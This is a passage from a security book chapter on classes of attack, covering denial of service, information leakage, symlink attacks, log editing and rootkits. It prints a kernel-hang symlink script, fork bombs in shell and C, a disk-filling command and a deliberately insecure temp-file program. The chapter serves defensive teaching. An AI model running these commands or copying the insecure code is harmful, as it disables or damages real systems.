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預設 Hack Proofing Your Network-3

Chapter 3 • Classes of Attack
Introduction
How serious a particular attack type is depends on two things: how the attack is
carried out, and what damage is done to the compromised system. An attacker
being able to run code on his machine is probably the most serious kind of
attack for a home user. For an e-commerce company, a denial of service (DoS)
attack or information leakage may be of more immediate concern. Each vulnerability
that can lead to compromise can be traced to a particular category, or class,
of attack.The properties of each class give you a rough feel for how serious an
attack in that class is, as well as how hard it is to defend against.
In this chapter, we explain each of the attack classes in detail, including what
kinds of damage they can cause the victim, as well as what the attacker can gain
by using them.
Identifying and Understanding
the Classes of Attack
As we mentioned, attacks can be placed into one of a few categories. Our assertion
regarding the severity of attack is something we should look into for a little
better understanding. Attacks can lead to anything from leaving your systems
without the ability to function, to giving a remote attacker complete control of
your systems to do whatever he pleases.We discuss severity of attacks later in this
chapter, placing them on a line of severity. Let’s first look at the different types of
attacks and discuss them.
In this section, we examine seven categorized attack types.These seven attack
types are the general criteria used to classify security issues:
 Denial of service
 Information leakage
 Regular file access
 Misinformation
 Special file/database access
 Remote arbitrary code execution
 Elevation of privileges
www.syngress.com
www.syngress.com
Denial of Service
What is a denial of service (DoS) attack? A DoS attack takes place when availability
to a resource is intentionally blocked or degraded by an attacker. In other
words, the attack impedes the availability of the resource to its regular authorized
users.These types of attacks can occur through one of two vectors: either on the
local system, or remotely from across a network.The attack may concentrate on
degrading processes, degrading storage capability, destroying files to render the
resource unusable, or shutting down parts of the system or processes. Let’s take a
closer look at each of these items.
Local Vector Denial of Service
Local denial of service attacks are common, and in many cases, preventable.
Although any type of denial of service can be frustrating and costly, local denial
of service attacks are typically the most preferable to encounter. Given the right
security infrastructure, these types of attacks are easily traced, and the attacker is
easily identified.
Three common types of local denial of service attacks are process degradation,
disk space exhaustion, and index node (inode) exhaustion.
Process Degradation
One local denial of service is the degrading of processes.This occurs when the
attacker reduces performance by overloading the target system, by either
spawning multiple processes to eat up all available resources of the host system, by
spawning enough processes to fill to capacity the system process table, or by
spawning enough processes to overload the central processing unit (CPU).
An example of this type of attack is exhibited through a recent vulnerability
discovered in the Linux kernel. By creating a system of deep symbolic links, a
user can prevent the scheduling of other processes when an attempt to dereference
the symbolic link is made. Upon creating the symbolic links, then
attempting to perform a head or cat of one of the deeply linked files, the process
scheduler is blocked, therefore preventing any other processes on the system from
receiving CPU time.The following is source code of mklink.sh; this shell script
will create the necessary links on an affected system (this problem was not fully
fixed until Linux kernel version 2.4.12):
#!/bin/sh
# by Nergal
Classes of Attack • Chapter 3 47
48 Chapter 3 • Classes of Attack
mklink()
{
IND=$1
NXT=$(($IND+1))
EL=l$NXT/../
P=""
I=0
while [ $I -lt $ELNUM ] ; do
P=$P"$EL"
I=$(($I+1))
done
ln -s "$P"l$2 l$IND
}
#main program
if [ $# != 1 ] ; then
echo A numerical argument is required.
exit 0
fi
ELNUM=$1
mklink 4
mklink 3
mklink 2
mklink 1
mklink 0 /../../../../../../../etc/services
mkdir l5
mkdir l
Another type of local denial of service attack is the fork bomb.This problem is
not Linux-specific, and it affects a number of other operating systems on various
platforms.The fork bomb is easy to implement using the shell or C.The code for
shell is as follows:
($0 & $0 &)
www.syngress.com
Classes of Attack • Chapter 3 49
The code for C is as follows:
(main() {for(;fork();})
In both of these scenarios, an attacker can degrade process performance with
varying effects—these effects may be as minimal as making a system perform
slowly, or they may be as extreme as monopolizing system resources and causing
a system to crash.
Disk Space Exhaustion
Another type of local attack is one that fills disk space to capacity. Disk space is a
finite resource. Previously, disk space was an extremely expensive resource,
although the current industry has brought the price of disk storage down signifi-
cantly.Though you can solve many of the storage complications with solutions
such as disk arrays and software that monitors storage abuse, disk space will continue
to be a bottleneck to all systems. Software-based solutions such as per-user
storage quotas are designed to alleviate this problem.
This type of attack prevents the creation of new files and the growth of
existing files. An added problem is that some UNIX systems will crash when the
root partition reaches storage capacity. Although this isn’t a design flaw on the
part of UNIX itself, a properly administered system should include a separate
partition for the log facilities, such as /var, and a separate partition for users, such
as the /home directory on Linux systems, or /export/home on Sun systems.
Attackers can use this type of denial of service to crash systems, such as when
a disk layout hasn’t been designed with user and log partitions on a separate slice.
They can also use it to obscure activities of a user by generating a large amount
of events that are logged to via syslog, filling the partition on which logs are
stored and making it impossible for syslog to log any further activity.
Such an attack is trivial to launch. A local user can simply perform the following
command:
cat /dev/zero > ~/maliciousfile
This command will concatenate data from the /dev/zero device file (which
simply generates zeros) into maliciousfile, continuing until either the user stops the
process, or the capacity of the partition is filled.
A disk space exhaustion attack could also be leveraged through such attacks as
mail bombing. Although this is an old concept, it is not commonly seen.The reasons
are perhaps that mail is easily traced via SMTP headers, and although open
relays can be used, finding the purveyor of a mail bomb is not rocket science. For
www.syngress.com
50 Chapter 3 • Classes of Attack
this reason, most mail bombers find themselves either without Internet access,
jailed, or both.
Inode Exhaustion
The last type of local denial of service attack we discuss is inode exhaustion, similar
to the disk capacity attack. Inode exhaustion attacks are focused specifically
on the design of the file system.The term inode is an acronym for the words index
node. Index nodes are an essential part of the UNIX file system.
An inode contains information essential to the management of the file
system.This information includes, at a minimum, the owner of a file, the group
membership of a file, the type of file, the permissions, size, and block addresses
containing the data of the file.When a file system is formatted, a finite number of
inodes are created to handle the indexing of files with that slice.
An inode exhaustion attack focuses on using up all the available inodes for
the partition. Exhaustion of these resources creates a similar situation to that of
the disk space attack, leaving the system unable to create new files.This type of
attack is usually leveraged to cripple a system and prevent the logging of system
events, especially those activities of the attacker.
Network Vector Denial of Service
Denial of service attacks launched via a network vector can essentially be broken
down into one of two categories: an attack that affects a specific service, or an attack
that targets an entire system.The severity and danger of these attacks vary signifi-
cantly.These types of attacks are designed to produce inconvenience, and are
often launched as a retaliatory attack.
To speak briefly about the psychology behind these attacks, network vector
denial of service attacks are, by and large, the choice method of cowards.The reasons,
ranging from digital vigilantism to Internet Relay Chat (IRC) turf wars,
matter not. Freely and readily available tools make a subculture (and I’ll borrow
the term coined by Jose Oquendo—also known as sil of antioffline.com fame)
called script kiddiots possible.The term script kiddiot, broken down into base form,
would define script as “a prewritten program to be run by a user,” and kiddiot
being a combination of the words kid and idiot. Fitting.The availability of these
tools gives these individuals the power of anonymity and ability to cause a nuisance,
while requiring little or no technical knowledge.The only group with
more responsibility for these attacks than the script kiddiots is the group of professionals
who continue to make them possible through such things as lack of
egress filtering.
www.syngress.com
Classes of Attack • Chapter 3 51
Network vector attacks, as mentioned, can affect specific services or an entire
system; depending on who is targeted and why, these types of attacks include
client, service, and system-directed denials of service.The following sections look at
each of these types of denial of service in a little more detail.
Client-Side Network DoS
Client-side denials of service are typically targeted at a specific product.Their purpose
is to render the user of the client incapable of performing any activity with
the client. One such attack is through the use of what’s called JavaScript bombs.
By default, most Web browsers enable JavaScript.This is apparent anytime one
visits a Web site, and a pop-up or pop-under ad is displayed. However, JavaScript
can also be used in a number of malicious ways, one of which is to launch a
denial of service attack against a client. Using the same technique that advertisers
use to create a new window with an advertisement, an attacker can create a malicious
Web page consisting of a never-ending loop of window creation.The end
result is that so many windows are “popped up,” the system becomes resourcebound.
This is an example of a client-side attack, denying service to the user by exercising
a resource starvation attack as we previously discussed, but using the network
as a vector.This is only one of many client-side attacks, with others
affecting products such as the AOL Instant Messenger, the ICQ Instant Message
Client, and similar software.
Service-Based Network DoS
Another type of denial of service attack launched via networks is service-based
attacks. A service based attack is intended to target a specific service, rendering it
unavailable to legitimate users.These attacks are typically launched at a service
such as a Hypertext Transfer Protocol Daemon (HTTPD), Mail Transport Agent
(MTA), or other such service that users typically require.
An example of this problem is a vulnerability that was discovered in the Web
configuration infrastructure of the Cisco Broadband Operating System (CBOS).
When the Code Red worm began taking advantage of Microsoft’s Internet
Information Server (IIS) 5.0 Web servers the world over, the worm was discovered
to be indiscriminate in the type of Web server it attacked. It would scan networks
searching for Web servers, and attempt to exploit any Web server it
encountered.
www.syngress.com
52 Chapter 3 • Classes of Attack
A side effect of this worm was that although some hosts were not vulnerable
to the malicious payload it carried, some hosts were vulnerable in a different way.
CBOS was one of these scenarios. Upon receiving multiple Transmission Control
Protocol (TCP) connections via port 80 from Code Red infected hosts, CBOS
would crash.
Though this vulnerability was discovered as a casualty of another, the problem
could be exploited by a user with one of any readily available network auditing
tools. After attack, the router would be incapable of configuration, requiring a
power-cycling of the router to make the configuration facility available.This is a
classic example of an attack directed specifically at one service.
System-Directed Network DoS
A denial of service directed towards a system via the network vector is typically
used to produce the same results as a local denial of service: degrading performance
or making the system completely unavailable.A few approaches are typically
seen in this type of attack, and they basically define the methods used in
entirety. One is using an exploit to attack one system from another, leaving the
target system inoperable.This type of attack was displayed by the land.c, Ping of
Death, and teardrop exploits of a couple years ago, and the various TCP/IP fragmented
packet vulnerabilities in products such as D-Link routers and the
Microsoft ISA Server.
Also along this line is the concept of SYN flooding.This attack can be
launched in a variety of ways, from either one system on a network faster than
the target system to multiple systems on large pipes.This type of attack is used
mainly to degrade system performance.The SYN flood is accomplished by
sending TCP connection requests faster than a system can process them.The
target system sets aside resources to track each connection, so a great number of
incoming SYNs can cause the target host to run out of resources for new legitimate
connections.The source IP address is, as usual, spoofed so that when the
target system attempts to respond with the second portion of the three-way
handshake, a SYN-ACK (synchronization-acknowledgment), it receives no
response. Some operating systems will retransmit the SYN-ACK a number of
times before releasing the resources back to the system.The exploit code for the
SYN flooder syn4k.c was written by Zakath.This SYN flooder allows you to
select an address the packets will be spoofed from, as well as the ports to flood on
the victim’s system.We did not include the code here for the sake of brevity, but
you can download it at www.cotse.com/sw/dos/syn/synk4.c.
www.syngress.com
Classes of Attack • Chapter 3 53
One can detect a SYN flood coming from the preceding code by using a
variety of tools, such as the netstat command shown in Figure 3.1, or through
infrastructure such as network intrusion detection systems (IDSs).
On several operating system platforms, using the –n parameter displays
addresses and port numbers in numerical format, and the –p switch allows you to
select only the protocol you are interested in viewing.This prevents all User
Datagram Protocol (UDP) connections from being shown so that you can view
only the connections you are interested in for this particular attack. Check the
documentation for the version of netstat that is available on your operating system
to ensure that you use the correct switches.
Additionally, some operating systems support features such as TCP SYN
cookies. Using SYN cookies is a method of connection establishment that uses
cryptography for security.When a system receives a SYN, it returns a
www.syngress.com
Figure 3.1 Using netstat to Detect Incoming SYN Connections
54 Chapter 3 • Classes of Attack
SYN+ACK, as though the SYN queue is actually larger.When it receives an
ACK back from the initiating system, it uses the recent value of the 32-bit time
counter modulus 32, and passes it through the secret server-side function. If the
value fits, the extracted maximum segment size (MSS) is used, and the SYN
queue entry rebuilt.
Let’s also look at the topic of smurfing or packeting attacks, which are typically
purveyed by the previously mentioned script kiddiots.The smurf attack performs
a network vector denial of service against the target host.This attack relies on an
intermediary, the router, to help, as shown in Figure 3.2.The attacker, spoofing
the source IP address of the target host, generates a large amount of Internet
Control Message Protocol (ICMP) echo traffic directed toward IP broadcast
addresses.The router, also known as a smurf amplifier, converts the IP broadcast to
a Layer 2 broadcast and sends it on its way. Each host that receives the broadcast
responds back to the spoofed source IP with an echo reply. Depending on the
number of hosts on the network, both the router and target host can be inundated
with traffic.This can result in the decrease of network performance for the
host being attacked, and depending on the number of amplifier networks used,
the target network becoming saturated to capacity.
www.syngress.com
Figure 3.2 Diagram of a Smurf Attack
Router
IBM AS/400 IBM 3174 Cray Supercomputer
Attacker sends spoofed ICMP
packets to a smurf amplifying network.
Packets enter router, and all hosts on the
network respond to the spoofed source address.
The target machine receives large amounts
of ICMP ECHO traffic, degrading performance.
Internet
Classes of Attack • Chapter 3 55
The last system-directed denial of service attack using the network vector is
distributed denial of service (DDoS).This concept is similar to that of the previously
mentioned smurf attack.The means of the attack, and method of which it is
leveraged, however, is significantly different from that of smurf.
This type of attack depends on the use of a client, masters, and daemons (also
called zombies). Attackers use the client to initiate the attack by using masters,
which are compromised hosts that have a special program on them allowing the
control of multiple daemons. Daemons are compromised hosts that also have a
special program running on them, and are the ones that generate the flow of
packets to the target system.The current crop of DDoS tools includes trinoo,
Tribe Flood Network,Tribe Flood Network 2000, stacheldraht, shaft, and
mstream. In order for the DDoS to work, the special program must be placed on
dozens or hundreds of “agent” systems. Normally an automated procedure looks
for hosts that can be compromised (buffer overflows in the remote procedure call
[RPC] services statd, cmsd, and ttdbserverd, for example), and then places the special
program on the compromised host. Once the DDoS attack is initiated, each
of the agents sends the heavy stream of traffic to the target, inundating it with a
flood of traffic.To learn more about detection of DDoS daemon machines, as
well as each of the DDoS tools, visit David Dittrich’s Web site at
http://staff.washington.edu/dittrich/misc/ddos.
www.syngress.com
The Code Red Worm
In July of 2001, a buffer overflow exploit for the Internet Server
Application Programming Interface (ISAPI) filter of Microsoft’s IIS was
transformed into an automated program called a worm. The worm
attacked IIS systems, exploited the hole, then used the compromised
system to attack other IIS systems. The worm was designed to do two
things, the first of which was to deface the Web page of the system it
had infected. The second function of the worm was to coordinate a
DDoS attack against the White House. The worm ended up failing,
missing its target, mostly due to quick thinking of White House IT staff.
The effects of the worm were not limited to vulnerable Windows
systems, or the White House. The attack cluttered logs of HTTP servers
Notes from the Underground…
Continued
56 Chapter 3 • Classes of Attack
Information Leakage
Information leakage can be likened to leaky pipes.Whenever something comes
out, it is almost always undesirable and results in some sort of damage. Information
leakage is typically an abused resource that precludes attack. In the same way that
military generals rely on information from reconnaissance troops that have penetrated
enemy lines to observe the type of weapons, manpower, supplies, and other
resources possessed by the enemy, attackers enter the network to perform the same
tasks, gathering information about programs, operating systems, and network
design on the target network.
Service Information Leakage
Information leakage occurs in many forms. Banners are one example. Banners are
the text presented to a user when they attempt to log into a system via any one
of the many services. Banners can be found on such services as File Transfer
Protocol (FTP), secure shell (SSH), telnet, Simple Mail Transfer Protocol (SMTP),
and Post Office Protocol 3 (POP3). Many software packages for these services
happily yield version information to outside users in their default configuration,
as shown in Figure 3.3.
Another similar problem is error messages. Services such as Web servers yield
more than ample information about themselves when an exception condition is
created. An exception condition is defined by a circumstance out of the ordinary,
such as a request for a page that does not exist, or a command that is not recognized.
In these situations, it is best to make use of the customizable error configurations
supplied, or create a workaround configuration. Observe Figure 3.4 for a
leaky error message from Apache.
www.syngress.com
not vulnerable to the attack, and was found to affect Cisco digital subscriber
line (DSL) routers in a special way. Cisco DSL routers with the Web
administration interface enabled were prone to become unstable and
crash when the worm attacked them, creating a denial of service. This
left users of Qwest, as well as some other major Internet service
providers, without access at the height of the worm, due to the sheer
volume of scanning.
Classes of Attack • Chapter 3 57
www.syngress.com
Figure 3.3 Version of an SSH Daemon
Figure 3.4 An HTTP Server Revealing Version Information
58 Chapter 3 • Classes of Attack
Protocol Information Leakage
In addition to the previously mentioned cases of information leakage, there is also
what is termed protocol analysis. Protocol analysis exists in numerous forms. One
type of analysis is using the constraints of a protocol’s design against a system to
yield information about a system. Observe this FTP system type query:
elliptic@ellipse:~$ telnet parabola.cipherpunks.com 21
Trying 192.168.1.2...
Connected to parabola.cipherpunks.com.
Escape character is '^]'.
220 parabola FTP server (Version: 9.2.1-4) ready.
SYST
215 UNIX Type: L8 Version: SUNOS
This problem also manifests itself in such services as HTTP. Observe the
leakage of information through the HTTP HEAD command:
elliptic@ellipse:~$ telnet www.cipherpunks.com 80
Trying 192.168.1.2...
Connected to www.cipherpunks.com.
Escape character is '^]'.
HEAD / HTTP/1.0
HTTP/1.1 200 OK
Date: Wed, 05 Dec 2001 11:25:13 GMT
Server: Apache/1.3.22 (Unix)
Last-Modified: Wed, 28 Nov 2001 22:03:44 GMT
ETag: "30438-44f-3c055f40"
Accept-Ranges: bytes
Content-Length: 1103
Connection: close
Content-Type: text/html
Connection closed by foreign host.
Attackers also perform protocol analysis through a number of other methods.
One such method is the analysis of responses to IP, an attack based on the previously
mentioned concept, but working on a lower level. Automated tools, such as
www.syngress.com
Classes of Attack • Chapter 3 59
the Network Mapper, or Nmap, provide an easy-to-use utility designed to gather
information about a target system, including publicly reachable ports on the
system, and the operating system of the target. Observe the output from an
Nmap scan:
elliptic@ellipse:~$ nmap -sS -O parabola.cipherpunks.com
Starting nmap V. 2.54BETA22 ( www.insecure.org/nmap/ )
Interesting ports on parabola.cipherpunks.com (192.168.1.2):
(The 1533 ports scanned but not shown below are in state: closed)
Port State Service
21/tcp open ftp
22/tcp open ssh
25/tcp open smtp
53/tcp open domain
80/tcp open http
Remote operating system guess: Solaris 2.6 - 2.7
Uptime 5.873 days (since Thu Nov 29 08:03:04 2001)
Nmap run completed — 1 IP address (1 host up) scanned in 67 seconds
First, let’s explain the flags used to scan parabola.The sS flag uses a SYN scan,
exercising half-open connections to determine which ports are open on the host.
The O flag tells Nmap to identify the operating system, if possible, based on
known responses stored in a database. As you can see, Nmap was able to identify
all open ports on the system, and accurately guess the operating system of
parabola (which is actually a Solaris 7 system running on a Sparc).
NOTE
One notable project related to information leakage is the research being
conducted by Ofir Arkin on ICMP. Ofir’s site, www.sys-security.com, has
several papers available that discuss the methods of using ICMP to
gather sensitive information. Two such papers are “Identifying ICMP
Hackery Tools Used In The Wild Today,” and “ICMP Usage In Scanning”
available at www.sys-security.com/html/papers.html. They’re not for the
technically squeamish, but yield a lot of good information.
www.syngress.com
60 Chapter 3 • Classes of Attack
All of these types of problems present information leakage, which could lead
to an attacker gaining more than ample information about your network to
launch a strategic attack.
Leaky by Design
This overall problem is not specific to system identification. Some programs happily
and willingly yield sensitive information about network design. Protocols
such as Simple Network Management Protocol (SNMP) use clear text communication
to interact with other systems.To make matters worse, many SNMP
implementations yield information about network design with minimal or easily
guessed authentication requirements, ala community strings.
Sadly, SNMP is still commonly used. Systems such as Cisco routers are
capable of SNMP. Some operating systems, such as Solaris, install and start SNMP
facilities by default. Aside from the other various vulnerabilities found in these
programs, their default use is plain bad practice.
Leaky Web Servers
We previously mentioned some Web servers telling intrusive users about themselves
in some scenarios.This is further complicated when things such as PHP,
Common Gateway Interface (CGI), and powerful search engines are used. Like
any other tool, these tools can be used in a constructive and creative way, or they
can be used to harm.
Things such as PHP, CGI, and search engines can be used to create interactive
Web experiences, facilitate commerce, and create customizable environments for
users.These infrastructures can also be used for malicious deeds if poorly
designed. A quick view of the Attack Registry and Intelligence Service (ARIS)
shows the number three type of attack as the “Generic Directory Traversal
Attack” (preceded only by the ISAPI and cmd.exe attacks, which, as of the time
of current writing, are big with Code Red and Nimda variants).This is, of
course, the dot-dot (..) attack, or the relative path attack (…) exercised by
including dots within the URL to see if one can escape a directory and attain a
listing, or execute programs on the Web server.
Scripts that permit the traversal of directories not only allow one to escape
the current directory and view a listing of files on the system, but they allow an
attacker to read any file readable by the HTTP server processes ownership and
group membership.This could allow a user to gain access to the passwd file in
/etc or other nonprivileged files on UNIX systems, or on other implementations,
www.syngress.com
Classes of Attack • Chapter 3 61
such as Microsoft Windows OSs, which could lead to the reading of (and, potentially,
writing to) privileged files.Any of the data from this type of attack could
be used to launch a more organized, strategic attack.Web scripts and applications
should be the topic of diligent review prior to deployment. More information
about ARIS is available at http://aris.securityfocus.com.
A Hypothetical Scenario
Other programs, such as Sendmail, will in many default implementations yield
information about users on the system.To make matters worse, these programs
use the user database as a directory for e-mail addresses. Although some folks may
scoff at the idea of this being information leakage, take the following example
into account.
A small town has two Internet service providers (ISPs). ISP A is a newer ISP,
and has experienced a significant growth in customer base. ISP B is the older ISP
in town, with the larger percentage of customers. ISP B is fighting an all-out war
with ISP A, obviously because ISP A is cutting into their market, and starting to
gain ground on ISP B. ISP A, however, has smarter administrators that have taken
advantage of various facilities to keep users from gaining access to sensitive information,
using tricks such as hosting mail on a separate server, using different
logins on the shell server to prevent users from gaining access to the database of
mail addresses. ISP B, however, did not take such precautions. One day, the staff of
ISP A get a bright idea, and obtains an account with ISP B.This account gives
them a shell on ISP B’s mail server, from which the passwd file is promptly
snatched, and all of its users mailed about a great new deal at ISP A offering
them no setup fee to change providers, and a significant discount under ISP B’s
current charges.
As you can see, the leakage of this type of information can not only impact
the security of systems, it can possibly bankrupt a business. Suppose that a company
gained access to the information systems of their competitor.What is to
stop them from stealing, lying, cheating, and doing everything they can to undermine
their competition? The days of Internet innocence are over.
Why Be Concerned with Information Leakage?
Some groups are not concerned with information leakage.Their reasons for
this are varied, including reasons such as the leakage of information can never
be stopped, or that not yielding certain types of information from servers will
break compliance with clients.This also includes the fingerprinting of systems,
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62 Chapter 3 • Classes of Attack
performed by matching a set of known responses by a system type to a table
identifying the operating system of the host.
Any intelligently designed operating system will at least give the option of
either preventing fingerprinting, or creating a fingerprint difficult to identify
without significant overhaul. Some go so far as to even allow the option of
sending bogus fingerprints to overly intrusive hosts.The reasons for this are clear.
Referring back to our previous scenario about military reconnaissance, any group
that knows they are going to be attacked are going to make their best effort to
conceal as much information about themselves as possible, in order to gain the
advantage of secrecy and surprise.This could mean moving, camouflaging, or
hiding troops, hiding physical resources, encrypting communications, and so
forth.This limiting of information leakage leaves the enemy to draw their own
conclusions with little information, thus increasing the margin of error.
Just like an army risking attack by a formidable enemy, you must do your best
to conceal your network resources from information leakage and intelligence gathering.
Any valid information the attacker gains about one’s position and perimeter
gives the attacker intelligence from which they may draw conclusions and fabricate
a strategy. Sealing the leakage of information forces the attacker to take more intrusive
steps to gain information, increasing the probability of detection.
Regular File Access
Regular file access can give an attacker several different means from which to
launch an attack. Regular file access may allow an attacker to gain access to sensitive
information, such as the usernames or passwords of users on a system, as we
discussed briefly in the “Information Leakage” section. Regular file access could
also lead to an attacker gaining access to other files in other ways, such as changing
the permissions or ownership of a file, or through a symbolic link attack.
Permissions
One of the easiest ways to ensure the security of a file is to ensure proper permissions
on the file.This is often one of the more overlooked aspects of system
security. Some single-user systems, such as the Microsoft Windows 3.1/95/
98/ME products, do not have a permission infrastructure. Multiuser hosts have
at least one, and usually several means of access control.
For example, UNIX systems and some Windows systems both have users and
groups. UNIX systems, and Windows systems to some extent, allow the setting of
attributes on files to dictate what user, and what group have access to perform
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Classes of Attack • Chapter 3 63
certain functions with a file. A user, or the owner of the file, may be authorized
complete control over the file, having read, write, and execute permission over
the file, while a user in the group assigned to the file may have permission to
read, and execute the file. Additionally, users outside of the owner and group
members may have a different set of permissions, or even no permissions at all.
Many UNIX systems, in addition to the standard permission set of owner,
group, and world, include a more granular method of allowing access to a file.
These infrastructures vary in design, offering something as simple as the capability
to specify which users have access to a file, to something as complex as assigning
a member a role to allow a user access to a variety of utilities.The Solaris operating
system has two such examples: Role-Based Access Control (RBAC), and
Access Control Lists (ACLs).
ACLs allow a user to specify which particular system users are permitted
access to a file.The access list is tied to the owner and the group membership. It
additionally uses the same method of permissions as the standard UNIX permission
infrastructure.
RBAC is a complex tool, providing varying layers of permission. It is customizable,
capable of giving a user a broad, general role to perform functions
such as adding users, changing some system configuration variables, and the like.
It can also be limited to giving a user one specific function.
NOTE
More information about RBAC and ACLs are available in Syngress
Publishing’s Hack Proofing Sun Solaris 8 (ISBN 1-928994-44-X).
Symbolic Link Attacks
Symbolic link attacks are a problem that can typically be used by an attacker to
perform a number of different functions.They can be used to change the permissions
on a file.They can also be used to corrupt a file by appending data to it or
by overwriting a file completely, destroying the contents.
Symbolic link attacks are often launched from the temporary directory of a
system.The problem is usually due to a programming error.When a vulnerable
program is run, it creates a file with one of a couple attributes that make it vulnerable
to being attacked.
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64 Chapter 3 • Classes of Attack
One attribute making the file vulnerable is permissions. If the file has been
created with insecure permissions, the system will allow an attacker to alter it.
This will permit the attacker to change the contents of the temporary file.
Depending on the design of the program, if the attacker is able to alter the temporary
file, any input placed in the temporary file could be passed to the user’s
session.
Another attribute making the file vulnerable is the creation of insecure temporary
files. In a situation where a program does not check for an existing file
before creating it, and a user can guess the name of a temporary file before it is
created, this vulnerability may be exploited.The vulnerability is exploited by creating
a symbolic link to the target file, using a guessed file name that will be used
in the future.The following example source code shows a program that creates a
predictable temporary file:
/* lameprogram.c - Hal Flynn <mrhal@mrhal.com> */
/* does not perform sufficient checks for a */
/* file before opening it and storing data */
#include <stdio.h>
#include <unistd.h>
int main()
{
char a[] = "This is my own special junk data storage.\n";
char junkpath[] = "/tmp/junktmp";
FILE *fp;
fp = fopen(junkpath, "w");
fputs(a, fp);
fclose(fp);
unlink(junkpath);
return(0);
}
This program creates the file /tmp/junktmp without first checking for the
existence of the file.
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Classes of Attack • Chapter 3 65
When the user executes the program that creates the insecure temporary file,
if the file to be created already exists in the form of a symbolic link, the file at
the end of the link will be either overwritten or appended.This occurs if the user
executing the vulnerable program has write-access to the file at the end of the
symbolic link. Both of these types of attacks can lead to an elevation of privileges.
Figures 3.5 and 3.6 show an exploitation of this program by user haxor to
overwrite a file owned by the user ellipse.
Misinformation
The concept of misinformation can present itself in many ways. Let’s go back to
the military scenario. Suppose that guards are posted at various observation points
in the field, and one of them observes the enemy’s reconnaissance team.The
guard alerts superiors, who send out their own reconnaissance team to find out
exactly who is spying on them.
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Figure 3.5 Haxor Creates a Malicious Symbolic Link
66 Chapter 3 • Classes of Attack
Now, you can guess that the enemy general has already thought about this
scenario. Equally likely, he has also considered his options. He could hide all of
his troops and make it appear as if nobody is there.“But what if somebody saw
my forces entering the area” would be his next thought. And if the other side
were to send a “recon” team to scope out his position and strength, discovering
his army greater than theirs, they would likely either fortify their position, or
move to a different position where they would be more difficult to attack, or
where they could not be found.
Therefore, he wants to make his forces seem like less of a threat than they
really are. He hides his heavy weapons, and the greater part of his infantry, while
allowing visibility of only a small portion of his force.This is the same idea
behind misinformation.
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Figure 3.6 Ellipse Executes the Lameprogram, and the Data in Lamedata
Is Overwritten
Classes of Attack • Chapter 3 67
Standard Intrusion Procedure
The same concept of misinformation applies to systems.When an attacker has
compromised a system, much effort is made to hide her presence and leave as
much misinformation as possible. Attackers do this in any number of ways.
One vulnerability in Sun Solaris can be taken advantage of by an attacker to
send various types of misinformation.The problem is due to the handling of
ACLs on pseudo-terminals allocated by the system. Upon accessing a terminal,
the attacker could set an access control entry, then exit the terminal.When
another user accessed the system using the same terminal, the previous owner of
the terminal would retain write access to the terminal, allowing the previous
owner to write custom-crafted information to the new owner’s terminal.The
following sections look at some of the methods used.
Log Editing
One method used by an attacker to send misinformation is log editing.When an
attacker compromises a system, the desire is to stay unnoticed and untraceable as
long as possible. Even better is if the attacker can generate enough noise to make
the intrusion unnoticeable or to implicate somebody else in the attack.
Let’s go back to the previous discussion about denial of service.We talked about
generating events to create log entries. An attacker could make an attempt to fill
the log files, but a well-designed system will have plenty of space and a log rotation
facility to prevent this. Instead, the attacker could resort to generating a large
amount of events in an attempt to cloak their activity. Under the right circumstances,
an attacker could create a high volume of various log events, causing one or
more events that look similar to the entry made when an exploit is initiated.
If the attacker gains administrative access on the system, any hopes of log
integrity are lost.With administrative access, the attacker can edit the logs to
remove any event that may indicate intrusion, or even change the logs to implicate
another user in the attack. In the event of this happening, only outside systems
that may be collecting system log data from the compromised machine or
network intrusion detection systems may offer data with any integrity.
Some tools include options to generate random data and traffic.This random
data and traffic is called noise, and is usually used as either a diversionary tactic or
an obfuscation technique. Noise can be used to fool an administrator into
watching a different system or believing that a user other than the attacker, or
several attackers, are launching attacks against the system.
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68 Chapter 3 • Classes of Attack
The goal of the attacker editing the logs is to produce one of a few effects.
One effect would be the state of system well-being, as though nothing has happened.
Another effect would be general and total confusion, such as conflicting
log entries or logs fabricated to look as though a system process has gone wild—
as said earlier, noise. Some tools, such as Nmap, include decoy features.The decoy
feature can create this effect by making a scan look as though it is coming from
several different hosts.
Rootkits
Another means of misinformation is the rootkit. A rootkit is a ready-made program
designed to hide an attacker’s activities inside a system. Several different
types of rootkits exist, all with their own features and flaws. Rootkits are an
attacker’s first choice for keeping access to a system on a long-term basis.
A rootkit works by replacing key programs on the system, such as ls, df, du, ps,
sshd, and netstat on UNIX systems, or drivers, and Registry entries on Windows
systems.The rootkit replaces these programs, and possibly others with the programs
it contains, which are customized to not give administrative staff reliable
details. Rootkits are used specifically to cloak the activity of the attacker and hide
his presence inside the system.
These packages are specifically designed to create misinformation.They create
an appearance of all being well on the system. In the meantime, the attacker controls
the system and launches attacks against new hosts, or he conducts other
nefarious activities.
Kernel Modules
Kernel modules are pieces of code that may be loaded and unloaded by a running
kernel. A kernel module is designed to provide additional functionality to a
kernel when needed, allowing the kernel to unload the module when it is no
longer needed to lighten the memory load. Kernel modules can be loaded to
provide functionality such as support of a non-native file system or device control.
Kernel modules may also have facinorous purposes.
Malicious kernel modules are similar in purpose to rootkits.They are
designed to create misinformation, leading administrators of a system to believe
that all is well on the host.The module provides a means to cloak the attacker,
allowing the attacker to carry out any desired deeds on the host.
The kernel module functions in a different way from the standard rootkit.
The programs of the rootkit act as a filter to prevent any data that may be
incriminating from reaching administrators.The kernel module works on a much
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Classes of Attack • Chapter 3 69
lower level, intercepting information queries at the system call level, and filtering
out any data that may alert administrative staff to the presence of unauthorized
guests.This allows an attacker to compromise and backdoor a system without the
danger of modifying system utilities, which could lead to detection.
Kernel modules are becoming the standard in concealing intrusion. Upon
intrusion, the attacker must simply load the module, and ensure that the module
is loaded in the future by the system to maintain a degree of stealth that is diffi-
cult to discover. From that point on, the module may never be discovered unless
the drive is taken offline and mounted under a different instance of the operating
system.
Special File/Database Access
Two other methods used to gain access to a system are through special files and
database access.These types of files, although different in structure and function,
exist on all systems and all platforms. From an NT system to a Sun Enterprise
15000 to a Unisys Mainframe, these files are common amongst all platforms.
Attacks against Special Files
The problem of attacks against special files becomes apparent when a user uses
the RunAs service of Windows 2000.When a user executes a program with the
RunAs function,Windows 2000 creates a named pipe on the system, storing the
credentials in clear text. If the RunAs service is stopped, an attacker may create a
named pipe of the same name.When the RunAs service is used again, the credentials
supplied to the process will be communicated to the attacker.This allows
an attacker to steal authentication credentials, and could allow the user to log in
as the RunAs user.
Attackers can take advantage of similar problems in UNIX systems. One such
problem is the Solaris pseudo-terminal problems we mentioned previously. Red
Hat Linux distribution 7.1 has a vulnerability in the upgrade portion of the
package. A user upgrading a system and creating a swap file exposes herself to
